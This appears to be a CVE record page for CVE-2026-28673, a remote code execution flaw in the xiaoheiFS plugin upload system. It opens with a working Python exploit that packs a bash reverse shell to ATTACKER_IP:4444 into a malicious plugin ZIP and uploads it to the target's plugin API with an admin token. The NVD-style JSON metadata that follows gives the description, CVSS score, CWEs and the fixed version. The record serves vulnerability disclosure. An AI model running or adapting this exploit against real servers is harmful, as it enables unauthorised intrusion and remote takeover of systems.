CVE-2026-28673

import zipfile import os import requests # 构造恶意插件ZIP文件 plugin_name = "malicious_plugin" malicious_binary = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" manifest = '''{ "name": "%s", "version": "1.0.0", "binaries": ["./malicious.sh"] }''' % plugin_name # 创建ZIP文件 with zipfile.ZipFile('%s.zip' % plugin_name, 'w') as zf: zf.writestr('manifest.json', manifest) zf.writestr('malicious.sh', malicious_binary) # 上传恶意插件 url = "https://TARGET_URL/api/plugin/upload" files = {'file': open('%s.zip' % plugin_name, 'rb')} headers = {'Authorization': 'Bearer ADMIN_TOKEN'} response = requests.post(url, files=files, headers=headers) print(response.text)

{"cve": {"id": "CVE-2026-28673", "sourceIdentifier": "[email protected]", "published": "2026-03-18T01:16:05.117", "lastModified": "2026-03-23T17:58:19.487", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "xiaoheiFS is a self-hosted financial and operational system for cloud service businesses. In versions up to and including 0.3.15, the standard plugin system allows admins to upload a ZIP file containing a binary and a `manifest.json`. The server trusts the `binaries` field in the manifest and executes the specified file without any validation of its contents or behavior, leading to Remote Code Execution (RCE). Version 0.4.0 fixes the issue."}, {"lang": "es", "value": "xiaoheiFS es un sistema financiero y operativo autoalojado para negocios de servicios en la nube. En versiones hasta la 0.3.15 inclusive, el sistema de plugin estándar permite a los administradores subir un archivo ZIP que contiene un binario y un `manifest.json`. El servidor confía en el campo `binaries` en el manifiesto y ejecuta el archivo especificado sin ninguna validación de su contenido o comportamiento, lo que lleva a la ejecución remota de código (RCE). La versión 0.4.0 soluciona el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}, {"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:danvei233:xiaoheifs:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.4.0", "matchCriteriaId": "D0180A96-D887-4385-AC4F-58ECEAAC15D3"}]}]}], "references": [{"url": "https://github.com/danvei233/xiaoheiFS/security/advisories/GHSA-4vw4-5wmh-7x4v", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/danvei233/xiaoheiFS/security/advisories/GHSA-4vw4-5wmh-7x4v", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}